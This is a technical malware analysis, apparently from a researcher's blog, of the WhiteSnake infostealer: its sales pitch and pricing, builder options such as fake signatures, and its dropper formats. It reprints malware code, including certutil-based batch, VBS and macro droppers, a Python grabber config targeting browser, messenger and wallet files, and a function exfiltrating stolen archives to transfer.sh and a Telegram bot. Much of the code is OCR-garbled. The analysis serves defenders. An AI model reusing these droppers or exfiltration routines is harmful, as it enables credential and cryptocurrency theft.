Unleashing the Viper : A Technical Analysis of
WhiteSnake Stealer

@ russianpanda.com/2023/07/04/WhiteSnake-Stealer-Malware-Analysis/

Case Study

WhiteSnake Stealer first appeared on hacking forums at the beginning of February 2022.
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¥ WhiteSnake - Unique stealer of 2023
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¥ The software perfectly performs its functions during targeted attacks.
NONL30BATEN: DARKNET
Sy Browsers:
- Chrome
- Firefox
- Brave
- Edge

01.01.2023

@ Apps: FileZilla, Thunderbird, Steam, Pidgin, Telegram.
¥ Wallets: Atomic, Exodus, Guarda, Coinomi, BitcoinCore, Electrum, Metamask, Phantom, BinanceChain, TronLink, Ronin.
B File Size: 20kb

# Unique log view in .html format:

The stealer collects data from various browsers such as Firefox, Chrome, Chromium, Edge,
Brave, Vivaldi, CocCoc, and CentBrowser. Besides browsing data, it also collects data from
Thunderbird, OBS-Studio, FileZilla, Snowflake-SSH, Steam, Signal, Telegram, Discord,
Pidgin, Authy, WinAuth, Outlook, Foxmail, The Bat!, CoreFTP, WinSCP, AzireVPN,
WindscribeVPN.

The following are crypto wallets collected by WhiteSnake: Atomic, Wasabi, Exodus, Binance,
Jaxx, Zcash, Electrum-LTC, Guarda, Coinomi, BitcoinCore, Electrum, Metamask, Ronin,
BinanceChain, TronLink, Phantom.

The subscription pricing for the stealer:

120$ - 1 month
300% - 3 months
500% - 6 months
900$ - 1 year
1500% - lifetime

The stealer claims to leave no traces on the infected machine; it does not require the user to
rent the server. The communication between the infected and the attacker’s controlled
machine is handled by Tor. The stealer also has loader and grabber functionalities.
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What also makes this stealer interesting and quite unique compared to other stealer families
is the payload support in different file extensions such as EXE, SCR, COM, CMD, BAT, VBS,
PIF, WSF, .hta, MSI, PY, DOC, DOCM, XLS, XLL, XLSM. Icarus Stealer was probably the
closest one to this stealer with the file extension support feature. You can check out my write-
up on it here. Another interesting feature is the Linux Stub Builder, where the user can
generate Python or .sh (shell) files to run the stealer on Linux systems. The stealer would
collect the data from the following applications: Firefox, Exodus, Electrum, FileZilla,
Thunderbird, Pidgin, and Telegram.

But enough about the introduction. Let us jump into the technical part and the stealer panel
overview.

WhiteSnake Analysis

WhiteSnake builder panel contains the settings to enable the Telegram bot for C2
communication. The user can also configure Loader and Grabber settings. The user can
choose whether to encrypt the exfiltrated data with just an RC4 key or add an RSA
encryption algorithm. With RC4 encryption, anyone with access to the stealer builder can
decrypt the logs. But RSA + RC4 encryption algorithm, the user would need to know the
private RSA key to be able to extract an RC4 key which is quite challenging.
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Loader (Direct links separated by comma; leave empty to disable)
m/miner.exe

Log encryption method [ Log can be decrypted only by your panel. ]

® RSA+RC4 encryption
() RC4 encryption

Grabber commands

rentry.co <f> XML Minifier

<command name="1">
<args>
<string>Opera</string>
<string>%AppData%\Opera Software\Opera Stable </string>
<fargs=>
<fcommand >
<command name="1">

<args=

File Icon [

I:I Mo icon

Fake signature [

No signature
File extension

Exe
.NET framework version

4.7 (Windows 8, 10, 11)
File size pumper [ Disabled ]

The user can add the fake signature to the generated builds. There are currently eight
signatures under the user’s exposal.

¢ Adobe (Adobe Systems Incorporated, VeriSign)
e Chrome (Google LLC, DigiCert)




o Firefox (Mozilla Corporation, DigiCert)
» Microsoft (Microsoft Corporation, Microsoft Code Singing PCA 2011)
e Oracle (Oracle Corporation, DigiCert, VeriSign)

Telegram (Telegram FZ-LLC, Sectigo)
Valve (Valve Corp., DigiCert)
WinRar (win.rar GmbH, Globalsign)

Stealers such as Vidar and Aurora (RIP) have the file size pumper enabled to append junk
bytes to the end of the builds to increase the file, thus avoiding the detection and preventing
it from being analyzed by most sandboxes. The user can pump the file size up to 1000MB.
The user can choose a specific .NET framework version to run the stealer. Version 2.0 works
for Windows 7, and version 4.7 works for Windows 8 and above.

The stealer has two execution methods:

¢ Non-resident - the stealer auto-deletes itself after successful execution

» Resident - the stealer beacons out to the C2 WhiteSnake stealer payload can be
generated with these features enabled:

e AntiVM

o Auto-Keylogger

e Random resources

o USB Spread

e Local user spread | will mention some of these features further in this write-up.
Let’s look at some of the payloads with different file extensions.

Cmd - this generates the batch file The batch file sets the command line title to “Update
... “. sets an environment variable named
s7545ebdc38726fd35741ea966f41310d746768 with the value
%TEMP%\Ja97719d578b685b1f2f4cbe8f0b4936cf8ca52. The % TEMP% represents
the path to the user’s temporary folder. The final decoded payload is saved as
P114cace969bca23c6118304a9040eff4.exe under the % TEMP% folder.

Eecho off

chep €5001>>nul

title Update ...

set 87545 c38726fd35741ea966£41310d746768=*TEMP*\Jag97719d578b685b1f2f4cbe8f0b4936cf8cas2

SET j03da 0abl65b6as6c631=%TEMP*\Pll4cace969bca23c6118304a9040eff4. exe

dEL %s7 c38726£d35741ea £41310d 5768% /£ /s /gernul
SeT rkPdgY¥IjJfMRozROBSAJL=15-BgK2Zit55H/g4lR0RA/ gwlAQRROSEARARAFUYARAQIONCARRAMFCYARAT+BoWEARZ ZNQRRACIWASgRABHM2 AR KK DCRARRORRC ggRARRKAADACARRRCYAANORARARARAB+VWARE
AR AR AL R AL SO A R B AR B TAGARC AR A R A A R AT A R R LN A T A A F AR A O R R A C AR L A A R A R AL A AL Sw I AR KA A R CCAWARC AR R AR A A F AL LA A OMA AR CBARCSBARACARRARF AARFARLLAVAQRAE SARAL
AEFCRARCAR AL A R AR L A R L LV g AN QA R R R COR R C AR L A R A A AR L L AR L Ak AR g AR R CkCORRC AR AL AR AL LR AR LA AT QAR T QRAARSCgRACRRRRAFAX FMTOTO
SET kWePDdAaHXmTSRbzARtTSNEWITY=
DxLd2gnSUfNBSpchSCAHAOHARACINRNSUfNR9kF41JAARB m1 YOZ01HzY fKnTaggBwKBWARADZ0Z01Hzcf IxmNSQRAARSXQLAFABChIAARK jm1 Z0Z01HzgfTRINSQRARSUNF5y0aVijRnSUfORSTF4 1 JAARBIRY YN
AVEBYBWAACCOCARAKLFrRnSUfPh9CF41JARABIRYXn I SpWNGAJRE / INGARABYLOTACCOCARAKWSGAIRSATWARRARAQFhAF41 JAAABIJRYXnI SpbFrRnSUFQRE2c] SCAHAOHARACInRnSUFQi OrquaggipDOBmNSQ
IMEARARZ JUKAAAR] OCoBAAQoSARACOSpNSGAOPtgKEiwe3G—

2 SeT kpgIXdeNITjjUIQPSxRge=
nJLO_iARDOAMwA4AABNaABOAHOACARGACEALWE]AHKAYgBl1AHTAZOBhAHMALWBUACSAYWEBVAGOALWEBGADARSARYAFCATgESAHUAagBPADEACWASADIANgAWAARIXWETAEUAWOEDAFQARWEBWAF IATOBYAGIARABL
AYRGYAQWBEAFYABQBUAE ORZABWARYARQTIAFQRL gRZAFQARDUBADOATOBBARKARYBNAAYABWALAE CAe AR T AR gRHOBYRHSACAR AR TANWEZ AAF ARQALAFKARQTDAE KACOAXADMA A DEOAE ORFQAVAGOASQRWAFQRL
ROWBEARELCWELAEQROWAZARAXAQASACWANABSRRMplecd

0 sBt mGmkylJkofdLS5sUWloBhCjzEPELUE=
XgAGIACQBKAEMAUGBBAHWAZARBC3kAagBMAEQAVARALWEADGACABGABWBTAFUAWQBAREYARWBMAE4ARgBFAFSATWBYAFAATgBAAFE4ARQABCZkAegB2AGGAdARAT.WMATgRKACQASWERAHKATWE] AASAUWB4AGI Ae
AABUSABOAJQBKARAABWAUAD4RHOBCAAELawBkAFUAeQAWARCDP 1 TAPgAe ADYACGALABUAGWAWAFUAGWAJAHMASWBOAREACAL4ABSATARIAFTANWAVAHsAOQRaACUAWNABYABSARARXABAAYAR TABGARWAZAGKALA
LwBoAAQACGASACOAfWwAKAFOAOQAZAHORGR
seT tfyLvHgBZSoNYMsuAORMORUMFVNk=g_YhODwiDQAR01gCOAAARZNGAAC g3AARK oIARACQRA3Q Dd ETcW/gETYBFgOgD6/ / 9+ FwARBEcomgEABGAAGS 1 DAARBIAAPAQAEKEQARADT
ARNIEWUSLWARARB+LoAABCUGFWARRCZ+
JWRABP4GNOARENMI ALK Y RURARRF cZ Y ARR O ONWARCgRRNCARRRORANOIARRRJgRASORARARL T I AR ARCORWARCheNSORRA SUN I JHAR A YREWACCgCARRKW KL OkARA 00 QRACKNMEWY SAQEARAROHgRABgARH YD
WxsXRFrEWxabComARRKWBFgbFkTERFQENCabConARAK2 SUNpgK2
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The script grabs the substring that starts and ends with a specific index specified in the batch
file. Taking, for example, echo %XMgEIBtkFoDvgdYKfJpS:~0,600% , it extracts the
substring starting from index 0 and ending at index 600 (inclusive) from the variable
XMgEIBtkFoDvgdYKfJpS, which is:

TVQQAAMAAAAEAAAA/ / 8AAL gAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAA
A4fug4AtAnNIbgBTMOhVGhpcyBwemOncmFt IGNhbm5vdCBiZSBydwagaW4gRE9TIG1vZGUUDQOKJ

From:

set

XMgE1BtkFoDvgdYKfJIpS=TVqQAAMAAAAEAAAA/ /8AALGAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAGAAAAAATUgAATANNIbgBTMOhVGhpcyBwemOncmFt IGNhbm5vdCBiZSBydw4gaW4gRE9TI
G1vZGUUDQOKJAAAAAAAAABQRQAATAEDAKZES4YAAAAAAAAAAOAATGALATAAACAFAAAKAAAAAAAAHJ4FAAAQAA
AAQAUAAABAAAAGAAAAAGAABAAAAAAAAAAGAAAAAAAAAACABQAAAGAAAAAAAATAYIUAABAAABAAAAAAEAAAEAA
AAAAAABAAAAAAAAAAAAAAAMQOBQBTAAAAAEAFABQHAAAAAAAAAAAAAAAAAAAAAAAAAGAFAAWAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATAAACAAAAAAAAAAAAAAACCAAAEQAA
AAAAAAAAAAAACS50ZXhOAAAAIBAFAAAGAAAATAUAAATAAAAAAAAAAAAAAAAAACAAAGAUCNNYYWAAABQHAAAAQA
UAAAgAAAAIBQAAAAAAAAAAAAAAGY

You might have noticed that the string begins with TVqQ, which decodes to an MZ header
from Base64.

When the big base64-encoded blob is formulated, certutil is used to decode it, and the
executable is launched under the mentioned %TEMP% folder.
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600230k
£V
474676
2966£413104746765%

— 0 >>is
anCLr rc g T YRR W a . T = T 726£4357412a566£41310d74676
certutil -decode +

start ™" £303da76

VBS - generates the VBS file that is launched via wscript.exe, and, again, certutil is
used to decode the Base64 blob. The file containing the Base64 blob is saved under
the same folder as the decoded executable file (% TEMP%). The Base64 blob is in
reversed order. After decoding, the payload is placed under the Temp folder mentioned
above as a randomly generated filename, for example,
0d1718d0be65b07c0fd84d1d9d446.exe (GetSpecialFolder(2) retrieves the Temp
folder)

5 ECTalFoLaER(2) €

"iSET Pda7b240c62c355653e2d602€65777d65Edm

:a, 77d652d. WRITE

WSF and HTA - the same logic as for the VBS is applied to WSF and HTA payloads.

B<?XM1 VERSioN="1.

" 2><job id="ga255d30300e3624f42c55a"><script language="VBScript">'<! [CDATA[

2 SEt Gdb482204124b5c8d0b62200a=CrEatEObJect ("sCR1PTING. FIlesyStEMoBIecT )
3 SEt Ie7c655acf2121103ddalc4d3=CREatEobJECE {"wSCrIPt.ShELL")
4 DIM 1525775028003das70056291b:19257750a8003dac70056291b=Gdbe82204£24b5c8d0b62a00z . Get specilLFoldEr (2) & "\yac283bfb8b22b3edl92£"
5 DIM 78724752 £Slfles:oa 7872dT £91£1 2204£24b5c8d0b62a00a. getsPECIALFOLAER (2) & "\Y45bE627E767228c4cccl24579560d010. exe"
6 Gdb482204£24b5c8d0bE2a00a . CReALETexTEiLe (19a57750a8003dae70056291b, TRUe)
8 dbb6a342c7fdd23dd8es] . Write StRreveRsE (
"BE QACTARAAARAT gAC] BE CEARAAARATOAR: QBAAAAEAAANM: B, BI BT iWDWAUzoBAAAL
ARjSGblJInL BWC Y T UA1 C 05C CCl I
BLAE DIYAL 3 Ui 3 QJIAAATALAGTARCARARAARARAY4SEZKADEATAAQROBARALAAAAL JKOQDUT
8/ /AAARE; QavT™)
5 dbb6a342c7fdd23dd8e5] . Wrlte sTrRevERse (
g IEBARANTJARODC] YRARAT 4eCAOTO! PrLaQARAKL! MPRLOQ) A4FUYRARAU2eCAOTqAOCARAS 0AHARIVCERRAKTNAR KK,
BAA! 1AKARAMI i RGYARAQ ,1CARARO TbBE T C HAWJmCE YRHBAAQE7 JAACPCBAAWO] 01cuoiBAAQUOYAAAUGKCOAAA4FKCOKKEAAASAD
TgJqAgCARRSOREAOxkcEAAAWS AR KRAYARBALKeOCBARWJ] 4ycuaCh QAAAYI faoCAKARA4hCcAOAYYRAAATxeCAGTQRARAT BgGAAA ML qQARAF BgRAARChCRAAAE + RAAAABgRAAA] SMCAAW1 04nKAOAAAGHKWEWBT JHBAL
R CAGTQAGBARABO4hKEARABACBAAGCZ 51K MEKCICA™)
10 dbbéa342c7£dd23dd8e5] . wrItE sTRReVErse |
TWBWEWI! 1BAROA OHNBRAQA CWBQLORNBAACACAHA+JOCWBILSINZYARAS QCSINBARQA InpAYARASFE AWHTYBHASXS CWEQUS InBAAQA
AeocAHASBoCE. 4k HEwBQe i JHB! 7 JAACPCAK] 4hCcAkHRyR; 8 g T C -0AHASZicE 4K HEwBQe IIHBAAQr 7 JARODCAK] 4h gnéyR g T UKgGAQAFMNLgQ: JafDIg
OCBAAQNSNgAi 0CBALQNT JgHaQARRWZ FDIgIqQARAWS C4hHEAARDL 2 3ACT iKEARAbunAeoC] i0CBAAGMT TgHaR TQARAKS=C4nKEARAY2 3ACT i HEARAYuNA= 0CBARW] SNoAL cCBARM] TIgHAgCARR cAHAVDgCEARAPY
ARwi7IARORCE 4eCAGTAGC! HAuZlc™)

dbb6a342c7£dd23dd8c51 . WRItE STRREverSE(
"KAAA4nCCASQQVRAABOXECAGTUAGCARAS OARAYYOCEAQAT SIAA4 KXACARAGHKWEWIUJHBAEGE TJAACDCAKAAA4 NCCASKUYRAABE XeCAGTqAGCARA= OAHAVK ] CEAQAQSNARY KKACAAAGHKWEWI UTHBAE QDT JAACDCAKAAASNCCA4 g9 VRAABOWE
CoAsJ5yRARAM/ eCAQTHOARABOGCAQA=ONLgAGC! 41K HKWBCmuKHBAACT7 JAACPCAKARA4hCoAkTkyRAAAW+eCAgTaRgC) ORHAZRnCEARArvnARS kKAOAAAGHRWEBCMUJHEAAGETIAACDCEAA1AaARBY3
A%e AAALDOBAEghz5iRA YKHBAAgx TIAACDCAKARAShCCAYoeyRAAAUS e CAGTqAgCARR=0RHAGY] cEARAE vnAL4 KKACARAHRWBgh+ IHBARWWT JAACPCAKAAR4hCCAY T TYRAAATSeCAgTqAgCARR o
2CoBAEQTz5iKGAAALhi BAROROAHA/ 5 cwBwiulHCASNIyZARAEAK")

dbbéa342c7fdd23dd8e5] . WRite sTrReVERse (

2

" AAARRMCT BITE 301C] 5k 3 4WEZpAARSCKSPVCRCQEXWCROAAROCKS tFECRCQENMBW A XWCROARAWCK st FCRCOE ZXWCROARASCKSpFCRCQEMMBWEAAAJICha 1 CEHERW S 1 0EKARRDOCh:
¥ T MBRYWEKARRJME] TONAAS///7sOFERBTQg/d 0gC! gDc 0gOIKAARAARKGDBTYRDWEARBTHDXAGCKAAR ] SmCARQ
0g/AQgD+ +1 I o/ KMgD+ rARAOXDABQAM4 PACWY/ AEQC+DARREFORT gD+ DARRARTAE gD+ r ARAWXDAEQC+DARO4 VCARWG+ FEAREARARQKAMAMTARAROCARARASNCCATL/ YRARBY ye CAOTqRACARAS ORHAL +TCER
AbReo ORW: 4 KK HEwBwr ILHBAEQF7JAACDCA™)
13 dbb6a342c7£dd23dd8e51 . WRILE strreVerse|
"dD; 3 R QOGEBITEG/W: D TOMN; CKAAGCAAWLOSRE SCKAE HRAGCAAWLOSRE. 8CHaE) 54PQ beTSZmZm
WERo: CK CbalREXERWs1RERARADGCLhREXEXGTg1CARAKow2HZEBGRSFBZERCARW ownNYEXFROXEZx2FRg1CARGJ0 Q RIXEKAARKSGAAMWYgChFROXEKARAKSGAATwHGChFROX
AARIMNBARQFG4/E] QREUMRA+rARRKCE BOXJ 5 OFQ; IKARAYgCQ! BAAWC! ARAOIVERAWET YARAC OSMRFLOARAM
KAAAVQCDRAGCAAWLoSQEAOARABCKKEBAAARAGkzDREWEB4POGBCA")
dbb6a342c7fdd23dd8c51 . WRiTe StRReVErse |
" g1 : E TJE. k B4 £YnCAAWIZBAA// //PpiDR4wEE4/FLEXCTg1FLE CADAAK. C. .l QEAAAL
1BAAQRORAHAAC] cwBAA3InCAAANOWQEAWWEGARRRMEARAAR i zCTYBAKAARIgYGARAABASORERCTEg/ WYARAAAAADAANARARGQ3ARGCARATORRAKARA 31 CARGNZRAAAT AGL ORAAUZCGARALY o/ EARAB4NJARARXOT JEARACAHAARAAYKTCRIW
ONAAYWEKARATgSBSUWEWUWELEE Q3RRGY. IONARS///TtOEEBBTQY/ kSRCNG1FIAADKARAGY1CARQOOCWBIARARAAF40gFBARACYN/ CIxCKAAR4 gCAREBAAMARA TWI AQAMBEAAAE AAARACAAWA+DAADOPARAQARAAAREARAEARAR.

BAAACGEARAQD: SFE. KREB: 4ERERARAD4H] my
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Python payload. The payloads can be generated either in Python 1-2 or 3. With
Python 1-2, the stealer payload is executed from the % TEMP% directory after Base64-
decoding.

mpvak4odCSnZXR y
AMDBceDAwXHgwMFx4MDBCeD. MFx4M HgwMF x4MDB ceDAWXH;
i MDB ceD HgwMFxAMDB ceDAWUEVC

AMDBCeDA) Hgl-JHF\tJMDBL-‘DJ-vJXHgvlJ'IF\M'IDELﬂDAIIXngHFVAHDBF eDAWXHE!
HgwhFx4MDB ceDAw DAWLNR1eHRceDAWX|
HgwMFxA4MDI
B ceDAWXHgwWMI
MDB ceDAWXHE!
MFx4MDB ceDAwXH;
WXHgEWMF X4MDB CeDAWXHE MD]CeDAY M1x c MFXAM WXHEWMLX4M
xAMDBCceDAWXG5ceDAwKk5ceDA XHgl«.‘an EDB]XHgv‘HF AMDBceDABC j1ceDA2XHgwMHAOEFx:
HgwMFxuXHgwMCp+K @ {Hg AWXHEWMF xuXHg4MF x4MTBceDAWXHEWMFx4MDR
XAMDBceD ( <4 b1x40DBc M 2 {15z T1x4MDI
OXHgWMFxAMD] 7MFxAMDBceDAWXHEWNHIMU
AMDBCeDAWXHEWM1 x40DA. M DB ceDAwXHEwN
ceDAWXHgwMFx4l C { : 1x4M eDm-AXngMF'-mJ BceDAWXHgWMFX40TBAW1X4MTgoRF x4MDBceD
N(uu( t(-‘[‘L\I.‘XHgmHF\tJr"\D DgwQVx4MDBCceDAw j1ceDAwXHEWMF
DABK15zXHhj Y 1x4MI
MDB ceDAWXGS ceDAWKkSceDAW|
K HgwMntceDh1XHg]
ceDF1XHgwMntceDk. W el © wWMF X JABK] x4 Aye 0 JAW) wMFx: b J X ) W x XHg: AMDB ceDAWXHgWNCoiXH
JceDAWXHEWMFXx4MDQQI 1!
CoiXHgwM1x4MDNOXHg5Z1x4MDBC EpceDFL&Hg\-lrlnt GEwXHgy !Fx-’l-HDB»_eD.-\@ i
NCpOXHgwWMFx4MD b HJ ceGVheFx4MDI HhceDAWXHgwMFxuXHg)

leﬂ[".UEttE!l]pdir"
path.exists(p)

With Python 3, the code checks if the operating system is Linux; if not, then it exits with the
following condition:

if '"linux' not in H().lower():
exit(1)

The code also checks if the ISP obtained from the IP geolocation API matches certain
predefined values. If a match is found with either ‘google’ or ‘mythic beasts’, the script exits
with an exit code of 5 as shown below:
I,J=0.data.decode(N).strip().split('\n")
for P in ['google', 'mythic beasts']:

if P in J.lower():exit(5)

The screenshot caption function operates the following way:
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e First, the code checks if the variable S is set to True, which indicates that the PIL
(Python Imaging Library) module, specifically ImageGrab from PIL, is available. If the
module is available, the variable S is set to True. Otherwise, it is set to False.

« Inside the n() function, an attempt is made to capture the screenshot using the PIL
module if S is True. The ImageGrab module’s grab() function is called to capture the
screenshot, and then it is saved to a ByteslO object called C as a PNG image.

» The ByteslO object C, which holds the PNG image data, is then encoded as base64
using the b64encode() function from the base64 module. The resulting base64-
encoded image is assigned to the variable C.

o The base64-encoded screenshot image is saved to a JSON file named system.json
along with other system-related information like the username, computer name, IP
address, operating system, Stub version, Tag, and Execution timestamp, as shown in
the code snippet below:

with open(A.join(B, 'system.json'), 'w')as

R:dump({'Screenshot':C, 'Username':D(), 'Compname':E(),'0S':H(), 'Tag':T,"'IP':I, 'Stub
version':k, 'Execution timestamp':time()3},R)

Let’s look at this function:

def p(buffer):

A = d(16)
B = Z(buffer)
C = m(A, B)

return b'LWSR$' + C + A
Which does the following:

o A =d(16) - it generates a 16-byte random key, which is assigned to the variable A.

o B = Z(buffer) - the buffer is passed to the Z function, assigning the result to the
variable B. The implementation of the Z function is not provided in the code snippet, so
it is unclear what it does.

e C=m(A, B) - the m function is called with the key A and the processed buffer B. The
m function seems to perform some encryption or transformation on the buffer using
the provided key.

e return b’LWSR$’ + C + A - the function concatenates the byte string ‘LWSR$’, the
transformed buffer C, and the key A. It returns the resulting byte string. The ‘LWSR$’
prefix could potentially be used as a marker or identifier for the encrypted data.

The m function contains the RC4 encryption function shown below:
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def m(key,data):
A=1ist(W(256));C=0;D=bytearray()
for B in W(256):C=(C+A[B]+key[B%len(key)])%256;A[B],A[C]=A[C],A[B]

B=C=0

for E in data:B=(B+1)%256;C=
(C+A[B])%256;A[B],A[C]=A[C],A[B];D.append(ENA[ (A[B]+A[C])%256])

return bytes(D)

j parameter contains the configuration of the stealer:

<?xml version="1.0" encoding="utf-8"?><Commands
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.0rg/2001/XMLSchema"> <commands><command name="2"><args>
<string>~/snap/firefox/common/.mozilla/firefox</string>
<string>~/.mozilla/firefox</string></args></command><command name="2"><args>
<string>~/.thunderbird</string></args></command><command name="0'"><args>
<string>~/.config/filezilla</string>
<string>sitemanager.xml;recentservers.xml</string><string>Apps/Filezilla</string>
</args></command><command name="0"><args><string>~/.purple</string>
<string>accounts.xml</string><string>Apps/Pidgin</string></args></command><command
name="0"><args>
<string>~/.local/share/TelegramDesktop/tdata;~/.var/app/org.telegram.desktop/data/Tel
egrambDesktop/tdata;~/snap/telegram-
desktop/current/.local/share/TelegramDesktop/tdata</string>

</command><command name="Q@"><args><string>/home/vm/.config/Signal;~/snap/signal-
desktop/current/.config/Signal</string><string>config.json;sql/db.sqlite</string>
<string>Grabber/Signal</string></args></command><command name="0'"><args>
<string>~/.electrum/wallets;~/snap/electrum/current/.electrum/wallets</string>
<string>*wallet*</string><string>Grabber/Wallets/Electrum</string></args></command>
<command name="0"><args><string>~/.config/Exodus</string>
<string>exodus.conf.json;exodus.wallet/*.seco</string>
<string>Grabber/Wallets/Exodus</string></args></command> </commands></Commands>

The configuration is used to enumerate through the directories and extract the predefined
data such as Firefox cookies and credentials, Thunderbird and FileZilla config files,
cryptocurrency wallets, Telegram, and Signal data. The extracted data is then RC4-
encrypted with a random 16-byte key, compressed in a ZIP archive, and sent over to
transfer.sh and Telegram Bot.

The snippet that is responsible for sending data to transfer.sh and Telegram:
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def qg(buffer):I=buffer;B="https://transfer.sh/';A=B+f"
{D()}@{E()}.wsr";G=F();K=G.request('PUT',A, body=I);J=K.data.decode(N).replace(B,B+'ge
t/"');A=b(C(chat_id=h, text="\n#{0}\n\n<b>0S:</b> <i>{1}</i>\n<b>Username:</b> <i>{2}
</i>\n<b>Compname:</b> <i>{3}</i>\n<b>Report size:</b> <i>
{4IMb</i>\n"'.format(T,H(),D(),E(), round(len(I)/(1024*1024),2)),parse_mode='HTML', repl
y_markup=dumps(C(inline_keyboard=
[[C(text="Download',url=J),C(text="'0Open',url="http://127.0.0.1:18772/handleOpenwWSR?
r='"+3)]1))));A="https://api.telegram.org/bot{0}/sendMessage?
{1}'.format(i,A);G=F();G.request(M,A)

The data is sent to Telegram, where Download URL is the transfer.sh generated URL, which
would be in the format transfer.sh/username@computername.wsr:

{

"chat_id": "",

"text": "\n#<BUILD_TAG\n\n<b>0S:</b> <i>[Operating System]</i>\n<b>Username:</b>
<i>[Username]</i>\n<b>Compname:</b> <i>[Computer Name]</i>\n<b>Report size:</b> <i>
[File Size]Mb</i>\n",

"parse_mode": "HTML",

"reply_markup": {

"inline_keyboard": [[{ "text": "Download", "url": "[Download URL]"}, {"text":
"Open", "url": "http://127.0.0.1:18772/handleOpenWSR?r=[Download URL]"}]
]
}
}

It is worth noting that at the time of writing this report, transfer.sh has been down for a few
weeks, so our Python 3 payload will not work ;)

MSI payload - contains the Custom Action to execute the embedded stealer.

Action Type Source Target ExtendedType
PreventDowngrading 19 Mewer version already installed. 0
RunWrapExe 3154 FileD  tmpmsi_W6103757747bc0a8fab1623. 222 /S O

Macro - the macro script contains the Base64-encoded reversed blob, which is the
stealer itself. Upon decoding and reversing the blob, it's saved as an executable file
under the % TEMP% folder.
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Private Sub

set
Set
Dim
Dim

Document_Open ()

He7c4fae24d0€43417¢36705445 = CreateObject ("sCRiPLiNg.fIlesySTEMOLIECL")

haSh03£905cE6d9344888293cedc4e0049456 = CreateObject ("wsCRIPT. SHE1L™)|

2dc54b08bSdcdge2c11208cbdz7d2bl3d887b0b: Zdc54b0sbedcd9e2cl1208chd27d2b13d887b0b = He7c4fae24d0643417c367C5445 . gELSPeCIALFOLder (2)
X3c2b57616£20143545105a320d37ab3bdab501: X3c2b57616120£485451052320d37ab3b4ab501 = Helc4fae24d0643417c36705445, 0ELSPeCIALFOLder (2)

& "\wf9ag%acdSbb8sedSccf24lbazel46d3arsoes”
& "\BE52c851ddec96637badbs64e . exe"

Set Me3b7£2£06260295£e7020ddSE57T2887fa = HeTcdfae24d0643417C367C5445 . CReAitetExe file (2de54b0sbsdedSe2c]1208chd27d2b13d88 b0k, True)

Me3b7E2£06260295£e7020dd5£57728 £7Fa. WRITE StrReverse (" Ci faoC REARAE 4] EybRARACDI £ 4hKE gCz5ik EKCIC

Me3bTE2106260295527020Ad5£57728£7fa. WRITE StrReverse (") JHCAAWUYZ1KGARAVGLBRAQ 18 EAK 1MyZqx 1BAAQACAHAEZ1 QRoAE L 5 SCKG
Me3b7£2£06260295F27020Ad5£577287Fa. WRITE StrReverse ("bARAY BAARD+/// / £1PR 8GARKyg/ ACA] Hwg/m IYRJADWG/AQAD+TIACWS/RQAD+ DABM4VCARQHYEWEMAPAAKy/ ARAD+T JABWG/ AMAD + DABM4vAUl
Me3bTE2£06260295Ee70204d5£57728 £7Fa. WRITE StrReverse ("RUWEX KARABNE X TOEEBBT OR4Eq/WoARASCHIARARY GORARAT gyBAY: CARWPOORARAD 0J00A+bhCARGPOOARACh FH: RE
Me3bTL2106a60295L27020Ad5E57728L7La. WRITE StrReverse ("OBRAGH bIARARMROKAAAOSGC EGKARANS( D CWOGCRRAT E \aCWEWS// /v PpSYCEEBBT g LFEEBARRARZ gZBT CBARRARJIK] BRYWEK:
Me3b7£2£06260295Fe7020dd5£57728 £7Fa. WRITE StrReverse ("1L FI, 1TqBAAQAOAH; NF1EARRWTSg8B DR U E X P
Me3bTE2106260295527020Ad5£57728£7fa. WRITE StrReverse (" EREyBHAQOVCEAAAM; QAOAHAQEVCWBAETKEBARWC, EAKWRAEHKE OYBHANQ1 CE Q DCIHBARACACHANAGCEARRHAOOG!
Me3b7£2£06260295527020Ad5£57728£7 2, WRATE ( v IRDCRgWEE CoAERHYRAAAERE: 5 +9// /XpCHEXBTED/ WUQE 1CAE i E gD X DCAX
Me3bTE2£06260295Fe7020dd5£57728 £7Fa. WRATE StrReverse | E 1CARGIVPOEAOWE] ACTYOE B i BARWEvBGEXMOER 1 +BgCAAQd ok DOARRKze TTXAEARA40Xa0l
Me3b7E2£06260295£27020Ad5E57726 752 WRITE StzReverse ("KARATOGCACARAG L S VDK nYACYAAREAKWEWR2LHCACEZ YVCAK F1AGC! BXUCAK LCARALZhARM 0CAY1CAAWDCH] TkZzBLEQ/WoRRR4 DED;
Me3b7E2£062602955e7020dd5£57728£7£a . WRITE StrRever Tg1FFE 0 CRRABACI i BRAHAThr D J TIRG C B EE KvZQEH:
Me3bTL2106260295£270204d5£57728£7fa. WRITE StrReverse ("ARGVVPARAUIDLG 4c EAKWEQSOLHCAKKOYBAARARAWARARUL [UQE: gTBTOARAK4c18// /] EOEEBBTQg/ CLQDYARCAOPCARQH! 4D SMBHYQCT. G40gFM
Me3bT£2£06260295£270204d5£57728£7£a WRATE StrReverse ("ARAAHKTCAAARO0S////d6 1n HYZQE. 4Q0HEXBT: \QA4 OAAAMGK icc T MAKAAREEW CERBToARAGLEG CcAoEzySHAR: REToARA:
Me3bTE2£06260295£270204d5£57728£7Fa . WRITE StrRever % E TYKHBARQT +RARAE CgGARAFONBAAL) JHRAE! DARAQ HOSCW;
Me3bTL2106260295£27020Ad5£57728£7Fa. WRITE StrReverse ("ACTLG = Qo4; 10 kSBD! 5 YGCKAAAY+2AEANAT4H EKCEBAAM D AMAMTEARROTFAQS KAE! QE .Q3LYRAK icai
Me3b7E2£06260295Fe7020dd5£57728 £7Fa. WRITE StrReverse (" g 10UGEAUWECAAAQHKBRE] Do B 1 DCME g/ UQARA DS FASCAAEARCY Utk BLOABAUG ECAREQ3ACAMBE
Me3bTr2106260295527020Ad5£57728£7fa. WRATE StrReverse ("KARALONCARQWOOSFGARAY1CAP] BHiDAATO: DAAGWIAAE FAAADAT FAWCTwgBARGLoAWDEARADINC EATBARMCAAYQ1ACAMD! E. DDTQBAARACEWWE!
Me3b7£2£06260295827020Ad5E57728 782 WRATE StrReverse ("1EARAYWIXopFGAARYLC] DARRADSOORS ///H4PRSY REARAA +MBRAW LE T CUERBARQACAHAQR UwKEBAAWP+IREEARAD
